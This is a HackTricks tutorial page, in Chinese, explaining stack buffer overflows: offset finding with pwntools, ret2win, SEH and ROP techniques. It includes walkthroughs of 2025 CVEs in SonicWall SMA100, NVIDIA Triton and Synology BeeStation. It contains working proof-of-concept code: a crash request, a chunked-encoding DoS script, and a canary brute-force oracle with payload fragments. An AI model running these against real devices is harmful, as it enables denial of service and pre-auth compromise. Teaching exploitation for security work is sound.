Stack Overflow

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 Stack Overflow

A stack overflow 是一种漏洞,当程序向 stack 写入的数据超过为其分配的空间时就会发生。

这些多余的数据会覆盖相邻的内存空间,导致有效数据损坏、控制流被破坏,并可能执行恶意代码。该问题通常由于使用不执行输入边界检查的不安全函数而产生。

该覆盖的主要问题在于用于返回上一个函数的 saved instruction pointer (EIP/RIP)saved base pointer (EBP/RBP) 存储在 stack 上。因此,攻击者可以覆盖它们并控制程序的执行流

该漏洞通常是因为函数在 stack 内复制的字节数超过为其分配的数量,因此可以覆盖 stack 的其他部分。

一些常见的易受影响的函数有: strcpy, strcat, sprintf, gets… 另外,像 fgets, read & memcpy 这样的函数接受一个 长度参数,如果指定的长度大于分配的长度,可能会以不安全的方式被使用。

例如,以下函数可能存在漏洞:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

查找 Stack Overflows 的偏移量

查找 stack overflows 最常见的方法是输入大量的 A(例如 python3 -c 'print("A"*1000)'),并期待出现 Segmentation Fault,这表明 尝试访问的地址是 0x41414141

此外,一旦发现存在 Stack Overflow 漏洞,就需要找出能 overwrite the return address 的偏移量。为此通常使用 De Bruijn sequence. 对于给定字母表大小为 k 且子序列长度为 n 的情况,De Bruijn sequence 是一个 循环序列,其中每一个可能的长度为 n 的子序列都恰好作为一个连续子序列出现一次

这样一来,不必手动确定哪个偏移可以控制 EIP,可以用这些序列之一作为填充,然后找到最终覆盖它的字节的偏移。

可以使用 pwntools 来完成:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

利用 Stack Overflows

在发生溢出时(假设溢出大小足够),你将能够覆盖栈内的局部变量值,直到到达保存的EBP/RBP and EIP/RIP (or even more)
这种漏洞最常见的利用方式是通过modifying the return address,这样当函数结束时,control flow will be redirected wherever the user specified in this pointer。

然而,在其他场景下,可能仅仅覆盖栈中某些变量的值就足以进行利用(例如在简单 CTF 挑战中)。

Ret2win

在这类 CTF 挑战中,二进制内部存在一个function,它从未被调用,而你需要调用它才能获胜。对于这些挑战,你只需找到offset to overwrite the return addressfind the address of the function来调用(通常 ASLR 会被禁用),这样当易受攻击的函数返回时,隐藏的函数就会被调用:

Ret2win

Stack Shellcode

在这种情形下,攻击者可以在栈上放置 shellcode,并利用可控的 EIP/RIP 跳转到该 shellcode 执行任意代码:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

在 32 位 Windows 上,溢出可能覆盖 Structured Exception Handler (SEH) 链而非保存的 return address。利用时通常将 SEH 指针替换为一个 POP POP RET gadget,并利用 4 字节的 nSEH 字段做一个短跳以转回到包含 shellcode 的大缓冲区。一个常见模式是在 nSEH 中放置一个短跳,该短跳落在紧挨着 nSEH 之前的一个 5-byte near jmp 上,从而把执行跳回数百字节到有效载荷的开始处。

Windows Seh Overflow

ROP & Ret2… techniques

该技术是绕过前述主要防护(No executable stack (NX))的基础框架。它还允许执行其他多种技术(ret2lib、ret2syscall…),通过滥用二进制中现有的指令最终执行任意命令:

ROP & JOP

Heap Overflows

一个溢出不一定发生在栈上,例如也可能发生在heap,例如:

Heap Overflow

Types of protections

有若干防护机制尝试阻止漏洞被利用,参见:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

一个很好的示例说明了为何**sscanf 不应该被用于解析不可信输入**,该示例出现在 2025 年 SonicWall 的 SMA100 SSL-VPN 设备中。
位于 /usr/src/EasyAccess/bin/httpd 内的易受攻击例程尝试从以 /__api__/ 开头的任何 URI 中提取版本和端点:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 第一个转换 (%2s) 将 两个 字节安全地存入 version(例如 "v1")。
  2. 第二个转换 (%s) 没有长度说明符,因此 sscanf 将继续复制 直到第一个 NUL 字节为止
  3. 因为 endpoint 位于 stack 上并且长度为 0x800 bytes,提供一个超过 0x800 bytes 的路径会破坏缓冲区之后的所有内容 ‑ 包括 stack canarysaved return address

一个单行的概念验证就足以在 认证之前 触发崩溃:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

即使 stack canaries 会中止进程,攻击者仍能获得一个 Denial-of-Service 原语(并且,配合额外的信息 leaks,可能实现 code-execution)。

真实案例:CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) 包含多个可通过其 HTTP API 触及的 stack-based overflows。 易受攻击的模式在 http_server.ccsagemaker_server.cc 中反复出现:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) 返回构成当前 HTTP 请求体的内部缓冲段数量。
  2. 每个段会导致一个 16-byteevbuffer_iovec 通过 alloca() 上分配 —— 没有任何上限
  3. 通过滥用 HTTP chunked transfer-encoding,客户端可以强制将请求拆分为 数十万个6-byte chunks ("1\r\nA\r\n")。这会使 n 无限制增长,直到栈被耗尽。

概念验证(DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
一个 ~3 MB 的请求足以覆盖 saved return address 并在默认构建下**crash**守护进程。

### 真实世界示例: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv 在 Pwn2Own 2025 的利用链滥用了端口 5000 上 `SYNO.BEE.AdminCenter.Auth` 的一个预认证溢出。`AuthManagerImpl::ParseAuthInfo` 将攻击者输入 Base64 解码到一个 4096-byte 的栈缓冲区,但错误地设置为 `decoded_len = auth_info->len`。由于 CGI worker 会为每个请求 fork,每个子进程继承父进程的 stack canary,因此一个稳定的 overflow primitive 就足以同时破坏栈并 leak 所有必需的秘密。

#### Base64-decoded JSON as a structured overflow
解码后的 blob 必须是有效的 JSON 并且包含 `"state"` 和 `"code"` 键;否则解析器会在 overflow 有用之前抛出。Synacktiv 通过 Base64-encoding 一个负载来解决:该负载解码后为 JSON,随后是一个 NUL byte,然后是 overflow stream。`strlen(decoded)` 在 NUL 处停止因此解析成功,但 `SLIBCBase64Decode` 已经覆盖了 JSON 对象之后的栈,覆盖了 canary、saved RBP 和 return address。
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi 每次 HTTP 请求都会 fork,因此所有子进程共享相同的 canary、stack layout 和 PIE slide。该 exploit 将 HTTP 状态码视为 oracle:200 响应表示猜测的字节保留了栈,而 502(或连接被断开)表示进程崩溃。逐字节串行暴力破解可恢复 8-byte canary、一个已保存的 stack pointer,以及位于 libsynobeeadmincenter.so 内的返回地址:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr simply calls bf_next_byte eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.

从 leaks 到 ROP & execution

Once the library base is known, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) build an arb_write primitive that stages /bin/bash, -c, and the attacker command on the leaked stack address. Finally, the chain sets up the calling convention for SLIBCExecl (a BeeStation wrapper around execl(2)), yielding a root shell without needing a separate info-leak bug.

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks